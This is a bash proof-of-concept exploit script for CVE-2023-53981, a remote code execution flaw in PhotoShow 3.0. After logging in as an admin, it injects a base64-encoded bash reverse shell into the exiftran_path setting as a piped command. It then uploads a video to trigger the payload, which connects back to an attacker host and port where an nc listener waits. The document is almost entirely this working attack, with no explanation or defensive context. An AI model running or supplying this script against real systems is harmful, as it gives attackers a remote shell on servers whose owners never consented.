CVE-2023-53981

#!/bin/bash # CVE-2023-53981 PoC - PhotoShow 3.0 RCE via exiftran path injection # Requirements: Valid admin credentials, network access to target TARGET="http://target.com/photoshow" USERNAME="admin" PASSWORD="admin123" ATTACKER_IP="attacker_ip" ATTACKER_PORT="4444" # Step 1: Login as admin echo "[+] Logging in as admin..." SESSION=$(curl -s -c cookies.txt -d "username=$USERNAME&password=$PASSWORD" "$TARGET/login.php" | grep -oP 'PHPSESSID=[^;]+') # Step 2: Generate base64 encoded reverse shell echo "[+] Generating reverse shell payload..." REVERSE_SHELL="bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" ENCODED_PAYLOAD=$(echo -n $REVERSE_SHELL | base64) # Step 3: Inject malicious exiftran path echo "[+] Injecting malicious exiftran path..." curl -s -b cookies.txt -X POST "$TARGET/admin/settings.php" \ -d "exiftran_path=|echo $ENCODED_PAYLOAD | base64 -d | bash|" # Step 4: Set up listener on attacker machine (before step 5) # nc -lvp $ATTACKER_PORT # Step 5: Upload crafted video to trigger RCE echo "[+] Uploading crafted video to trigger RCE..." curl -s -b cookies.txt -X POST "$TARGET/admin/upload.php" \ -F "video=@malicious_video.mp4" echo "[+] Check your listener for reverse shell!"

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